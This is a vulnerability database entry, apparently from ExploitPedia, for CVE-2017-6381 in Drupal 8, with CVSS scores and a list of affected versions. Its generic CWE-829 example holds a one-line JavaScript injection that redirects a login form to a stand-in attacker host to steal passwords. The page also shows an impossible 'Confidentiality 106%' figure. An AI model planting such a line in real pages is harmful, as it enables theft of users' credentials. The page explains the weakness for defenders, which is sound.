CVE-2017-6381 - Inclusion of Functionality from Untrusted Control Sphere

Severity

68%

Complexity

86%

Confidentiality

106%

CVSS 3.0 Base Score 8.1. CVSS Attack Vector: network. CVSS Attack Complexity: high. CVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).

CVSS 2.0 Base Score 6.8. CVSS Attack Vector: network. CVSS Attack Complexity: medium. CVSS Vector: (AV:N/AC:M/Au:N/C:P/I:P/A:P).

Demo Examples

Inclusion of Functionality from Untrusted Control Sphere

CWE-829

This login webpage includes a weather widget from an external website:


               
</div>
</div>
</form>
<script type="text/javascript" src="externalDomain.example.com/weatherwidget.js"></script>

This webpage is now only as secure as the external domain it is including functionality from. If an attacker compromised the external domain and could add malicious scripts to the weatherwidget.js file, the attacker would have complete control, as seen in any XSS weakness (CWE-79).

For example, user login information could easily be stolen with a single line added to weatherwidget.js:


               
document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";...Weather widget code....

This line of javascript changes the login form's original action target from the original website to an attack site. As a result, if a user attempts to login their username and password will be sent directly to the attack site.

Overview

Type

Drupal

First reported 7 years ago

2017-03-16 14:59:00

Last updated 5 years ago

2019-10-03 00:03:00

Affected Software

Drupal 8.0.0

8.0.0

Drupal 8.0.0 Alpha 10

8.0.0

Drupal 8.0.0 Alpha 11

8.0.0

Drupal 8.0.0 Alpha 12

8.0.0

Drupal 8.0.0 Alpha 13

8.0.0

Drupal 8.0.0 Alpha 14

8.0.0

Drupal 8.0.0 Alpha 15

8.0.0

Drupal 8.0.0 Alpha 2

8.0.0

Drupal 8.0.0 Alpha 3

8.0.0

Drupal 8.0.0 Alpha 4

8.0.0

Drupal 8.0.0 Alpha 5

8.0.0

Drupal 8.0.0 Alpha 6

8.0.0

Drupal 8.0.0 Alpha 7

8.0.0

Drupal 8.0.0 Alpha 8

8.0.0

Drupal 8.0.0 Alpha 9

8.0.0

Drupal 8.0.0 Beta 1

8.0.0

Drupal 8.0.0 Beta 10

8.0.0

Drupal 8.0.0 Beta 11

8.0.0

Drupal 8.0.0 Beta 12

8.0.0

Drupal 8.0.0 Beta 13

8.0.0

Drupal 8.0.0 Beta 14

8.0.0

Drupal 8.0.0 Beta 15

8.0.0

Drupal 8.0.0 Beta 16

8.0.0

Drupal 8.0.0 Beta 2

8.0.0

Drupal 8.0.0 Beta 3

8.0.0

Drupal 8.0.0 Beta 4

8.0.0

Drupal 8.0.0 Beta 6

8.0.0

Drupal 8.0.0 Beta 7

8.0.0

Drupal 8.0.0 Beta 9

8.0.0

Drupal 8.0.0 Release Candidate 1

8.0.0

Drupal 8.0.0 Release Candidate 2

8.0.0

Drupal 8.0.0 Release Candidate 3

8.0.0

Drupal 8.0.0 Release Candidate 4

8.0.0

Drupal 8.0.1

8.0.1

Drupal 8.0.2

8.0.2

Drupal 8.0.3

8.0.3

Drupal 8.0.4

8.0.4

Drupal 8.0.5

8.0.5

Drupal 8.0.6

8.0.6

Drupal 8.1.0

8.1.0

Drupal 8.1.0 Beta 1

8.1.0

Drupal 8.1.0 Beta 2

8.1.0

Drupal 8.1.0 Release Candidate 1

8.1.0

Drupal 8.1.1

8.1.1

Drupal 8.1.2

8.1.2

Drupal 8.1.3

8.1.3

Drupal 8.1.4

8.1.4

Drupal 8.1.5

8.1.5

Drupal 8.1.6

8.1.6

Drupal 8.1.7

8.1.7

Drupal 8.1.8

8.1.8

Drupal 8.1.9

8.1.9

Drupal 8.1.10

8.1.10

Drupal 8.2.0

8.2.0

Drupal 8.2.0 Beta 1

8.2.0

Drupal 8.2.0 Beta 2

8.2.0

Drupal 8.2.0 Beta 3

8.2.0

Drupal 8.2.0 Release Candidate 1

8.2.0

Drupal 8.2.0 Release Candidate 2

8.2.0

Drupal 8.2.1

8.2.1

Stay updated

ExploitPedia is constantly evolving. Sign up to receive a notification when we release additional functionality.

Get in touch

If you'd like to report a bug or have any suggestions for improvements then please do get in touch with us using this form. We will get back to you as soon as we can.